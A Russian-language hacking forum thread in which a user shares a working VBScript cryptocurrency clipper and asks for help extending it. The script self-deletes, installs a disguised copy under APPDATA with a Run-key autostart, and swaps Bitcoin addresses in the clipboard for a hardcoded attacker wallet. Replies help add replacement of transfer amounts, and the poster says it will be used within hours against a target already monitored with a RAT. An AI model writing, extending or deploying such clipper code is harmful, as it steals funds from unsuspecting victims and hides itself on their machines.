• XSS.stack #1 – первый литературный журнал от юзеров форума

VBS скрипт, нужна помощь.

Kirigaya

Hacking the World
Пользователь
Регистрация
24.08.2019
Сообщения
161
Реакции
89
Ребят привет, имеем скрипт:
Код с оформлением (BB-коды):
Set objWSH = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile(wscript.ScriptFullName)
On Error Resume Next

MyBTCAddress = "1M7rz9mkRqrN93Uymmo2Mw7sgmKdpQgCEe"

BTCFolder = objWSH.ExpandEnvironmentStrings("%APPDATA%") & "\Kitashi Corp"
BTC = BTCFolder & "\Kitashi Software.vbs"
RegKeyName = "Kitasho Software Corp"

If Not objFSO.Folderexists(BTCFolder) then
objFSO.CreateFolder BTCFolder
End If
Const HKEY_CURRENT_USER = &H80000001
strComputer = "."
Set objRegistry = GetObject("winmgmts:\\" & strComputer & "\root\default:StdRegProv")
objRegistry.SetStringValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", RegKeyName, chr(34) & BTC & chr(34)

Sub CreateBTCs
    Set FileBTC = objFSO.CreateTextFile(BTC, True)
    FileBTC.WriteLine "On Error Resume Next"
    FileBTC.WriteLine "Set objHTML = CreateObject(" & chr(34) & "HTMLfile" & chr(34) & ")"
    FileBTC.WriteLine "Set objWSH = CreateObject(" & chr(34) & "WScript.Shell" & chr(34) & ")"
    FileBTC.WriteLine "Do"
    FileBTC.WriteLine "wscript.sleep(500)"
    FileBTC.WriteLine "Clipboard = objHTML.ParentWindow.ClipboardData.GetData(" & chr(34) & "text" & chr(34) & ")"
    FileBTC.WriteLine "LengthofClipboard = Len(Clipboard)"
    FileBTC.WriteLine "If Left(Clipboard,1) = " & chr(34) & "1" & chr(34) & " then"
    FileBTC.WriteLine "If LengthofClipboard >= 26 and LengthofClipboard <= 35 then"
    FileBTC.WriteLine "objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & MyBTCAddress & "| clip" & chr(34) & ", 0"
    FileBTC.WriteLine "End If"
    FileBTC.WriteLine "End If"
    FileBTC.WriteLine "If Left(Clipboard,1) = " & chr(34) & "3" & chr(34) & " then"
    FileBTC.WriteLine "If LengthofClipboard >= 26 and LengthofClipboard <= 35 then"
    FileBTC.WriteLine "objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & MyBTCAddress & "| clip" & chr(34) & ", 0"
    FileBTC.WriteLine "End If"
    FileBTC.WriteLine "End If"
    FileBTC.WriteLine "Loop"
    FileBTC.Close
End Sub

CreateBTCs

objWSH.run chr(34) & BTC & chr(34)
Суть такая, это часть клиппера, если он обнаруживает кошель btc в клипборде, то меняет его на ваш кошель. Очень нужна помощь, так как совсем не шарю в vbs, нужно дописать строки, чтобы при обнаружении в clipboard значения 0.001521 например, оно заменялось например на 0.01521. Подскажите как это сделать? Проблема в том, что тулза эта нужна уже совсем скоро, времени нет разбираться, поэтому если не сложно, кто знаком с vbs, дайте знать как это запилить.
 
Вся логика здесь:
FileBTC.WriteLine "If Left(Clipboard,1) = " & chr(34) & "1" & chr(34) & " then"
FileBTC.WriteLine "If LengthofClipboard >= 26 and LengthofClipboard <= 35 then"

Скрипт проверяет соотвествует ли строка в буфере обмена следующим параметрам:
  • Первый символ в строке единица
  • Кол-во символов (от 26 до 35)
Работа со строками в VBS, первая ссылка из гугла:
 
Верно ли я понимаю, что должно получится что-то вроде
Код:
FileBTC.WriteLine "If Left(Clipboard,1) = " & chr(34) & "0" & chr(34) & " then"
FileBTC.WriteLine "If LengthofClipboard >= 3 and LengthofClipboard <= 7 then"

То есть если первая цифра 0, а кол-во символов от 3 до 7, то заменить:
Код:
FileBTC.WriteLine "objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & MyAmountOfBTC & "| clip" & chr(34) & ", 0"
 
Еще кстати VBS умеет в регулярки:

Код:
Найдёт "0.001521", с учётом случайно скопированного пробела.
^[\d\. ]{1,}$
 
И соответственно цельный код станет таким?

Код:
Set objWSH = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile(wscript.ScriptFullName)
On Error Resume Next

MyBTCAddress = "1M7rz9mkRqrN93Uymmo2Mw7sgmKdpQgCEe"
MyBTCAmount = "0.12345"


BTCFolder = objWSH.ExpandEnvironmentStrings("%APPDATA%") & "\Kitashi Corp"
BTC = BTCFolder & "\Kitashi Software.vbs"
RegKeyName = "Kitasho Software Corp"

If Not objFSO.Folderexists(BTCFolder) then
objFSO.CreateFolder BTCFolder
End If
Const HKEY_CURRENT_USER = &H80000001
strComputer = "."
Set objRegistry = GetObject("winmgmts:\\" & strComputer & "\root\default:StdRegProv")
objRegistry.SetStringValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", RegKeyName, chr(34) & BTC & chr(34)

Sub CreateBTCs
    Set FileBTC = objFSO.CreateTextFile(BTC, True)
    FileBTC.WriteLine "On Error Resume Next"
    FileBTC.WriteLine "Set objHTML = CreateObject(" & chr(34) & "HTMLfile" & chr(34) & ")"
    FileBTC.WriteLine "Set objWSH = CreateObject(" & chr(34) & "WScript.Shell" & chr(34) & ")"
    FileBTC.WriteLine "Do"
    FileBTC.WriteLine "wscript.sleep(500)"
    FileBTC.WriteLine "Clipboard = objHTML.ParentWindow.ClipboardData.GetData(" & chr(34) & "text" & chr(34) & ")"
    FileBTC.WriteLine "LengthofClipboard = Len(Clipboard)"
    FileBTC.WriteLine "If Left(Clipboard,1) = " & chr(34) & "1" & chr(34) & " then"
    FileBTC.WriteLine "If LengthofClipboard >= 26 and LengthofClipboard <= 35 then"
    FileBTC.WriteLine "objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & MyBTCAddress & "| clip" & chr(34) & ", 0"
    FileBTC.WriteLine "End If"
    FileBTC.WriteLine "End If"
    FileBTC.WriteLine "If Left(Clipboard,1) = " & chr(34) & "3" & chr(34) & " then"
    FileBTC.WriteLine "If LengthofClipboard >= 26 and LengthofClipboard <= 35 then"
    FileBTC.WriteLine "objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & MyBTCAddress & "| clip" & chr(34) & ", 0"
    FileBTC.WriteLine "End If"
    FileBTC.WriteLine "End If"
    FileBTC.WriteLine "If Left(Clipboard,1) = " & chr(34) & "0" & chr(34) & " then"
    FileBTC.WriteLine "If LengthofClipboard >= 3 and LengthofClipboard <= 7 then"
    FileBTC.WriteLine "objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & MyBTCAmount & "| clip" & chr(34) & ", 0"
    FileBTC.WriteLine "End If"
    FileBTC.WriteLine "End If"
    FileBTC.WriteLine "Loop"
    FileBTC.Close
End Sub

CreateBTCs

objWSH.run chr(34) & BTC & chr(34)
 
Верно ли я понимаю, что должно получится что-то вроде
Код:
FileBTC.WriteLine "If Left(Clipboard,1) = " & chr(34) & "0" & chr(34) & " then"
FileBTC.WriteLine "If LengthofClipboard >= 3 and LengthofClipboard <= 7 then"

То есть если первая цифра 0, а кол-во символов от 3 до 7, то заменить:
Код:
FileBTC.WriteLine "objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & MyAmountOfBTC & "| clip" & chr(34) & ", 0"
Да примерно так, если знаешь число можешь его захардкодить конечно.
Т.е. если ты знаешь что перевод будет ровно 0.001521 захардкодишь 0.01521 то будет норм.
Если число неизвестно то лучше регулярками сделать перестановку/замену чисел после точки.
 
И соответственно цельный код станет таким?

Код:
Set objWSH = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile(wscript.ScriptFullName)
On Error Resume Next

MyBTCAddress = "1M7rz9mkRqrN93Uymmo2Mw7sgmKdpQgCEe"
MyBTCAmount = "0.12345"


BTCFolder = objWSH.ExpandEnvironmentStrings("%APPDATA%") & "\Kitashi Corp"
BTC = BTCFolder & "\Kitashi Software.vbs"
RegKeyName = "Kitasho Software Corp"

If Not objFSO.Folderexists(BTCFolder) then
objFSO.CreateFolder BTCFolder
End If
Const HKEY_CURRENT_USER = &H80000001
strComputer = "."
Set objRegistry = GetObject("winmgmts:\\" & strComputer & "\root\default:StdRegProv")
objRegistry.SetStringValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", RegKeyName, chr(34) & BTC & chr(34)

Sub CreateBTCs
    Set FileBTC = objFSO.CreateTextFile(BTC, True)
    FileBTC.WriteLine "On Error Resume Next"
    FileBTC.WriteLine "Set objHTML = CreateObject(" & chr(34) & "HTMLfile" & chr(34) & ")"
    FileBTC.WriteLine "Set objWSH = CreateObject(" & chr(34) & "WScript.Shell" & chr(34) & ")"
    FileBTC.WriteLine "Do"
    FileBTC.WriteLine "wscript.sleep(500)"
    FileBTC.WriteLine "Clipboard = objHTML.ParentWindow.ClipboardData.GetData(" & chr(34) & "text" & chr(34) & ")"
    FileBTC.WriteLine "LengthofClipboard = Len(Clipboard)"
    FileBTC.WriteLine "If Left(Clipboard,1) = " & chr(34) & "1" & chr(34) & " then"
    FileBTC.WriteLine "If LengthofClipboard >= 26 and LengthofClipboard <= 35 then"
    FileBTC.WriteLine "objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & MyBTCAddress & "| clip" & chr(34) & ", 0"
    FileBTC.WriteLine "End If"
    FileBTC.WriteLine "End If"
    FileBTC.WriteLine "If Left(Clipboard,1) = " & chr(34) & "3" & chr(34) & " then"
    FileBTC.WriteLine "If LengthofClipboard >= 26 and LengthofClipboard <= 35 then"
    FileBTC.WriteLine "objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & MyBTCAddress & "| clip" & chr(34) & ", 0"
    FileBTC.WriteLine "End If"
    FileBTC.WriteLine "End If"
    FileBTC.WriteLine "If Left(Clipboard,1) = " & chr(34) & "0" & chr(34) & " then"
    FileBTC.WriteLine "If LengthofClipboard >= 3 and LengthofClipboard <= 7 then"
    FileBTC.WriteLine "objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & MyBTCAmount & "| clip" & chr(34) & ", 0"
    FileBTC.WriteLine "End If"
    FileBTC.WriteLine "End If"
    FileBTC.WriteLine "Loop"
    FileBTC.Close
End Sub

CreateBTCs

objWSH.run chr(34) & BTC & chr(34)

Так ты возьми да потестируй этот код. Так тебе врядли кто-то скажет, есть там ошибки или нет.
 
Так ты возьми да потестируй этот код. Так тебе врядли кто-то скажет, есть там ошибки или нет.
Сам код по замене коша работает отлично, с суммой сейчас постестирую, огромное спасибо тебе за помощь, я попробую регулярку заюзать. Но время поджимает, надо через несколько часов пустить скрипт в работу. Надеюсь не обосраться :D Еще раз спасибо и доброго дня желаю.
 
Вообще есть исходничек клиппера на masm у kaimi:
 
Вообще есть исходничек клиппера на masm у kaimi:
Да, тут всего одна цель, более того, я буду мониторить через rat всю деятельность. Поэтому думаю обойтись этим скриптом, для подстраховки.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх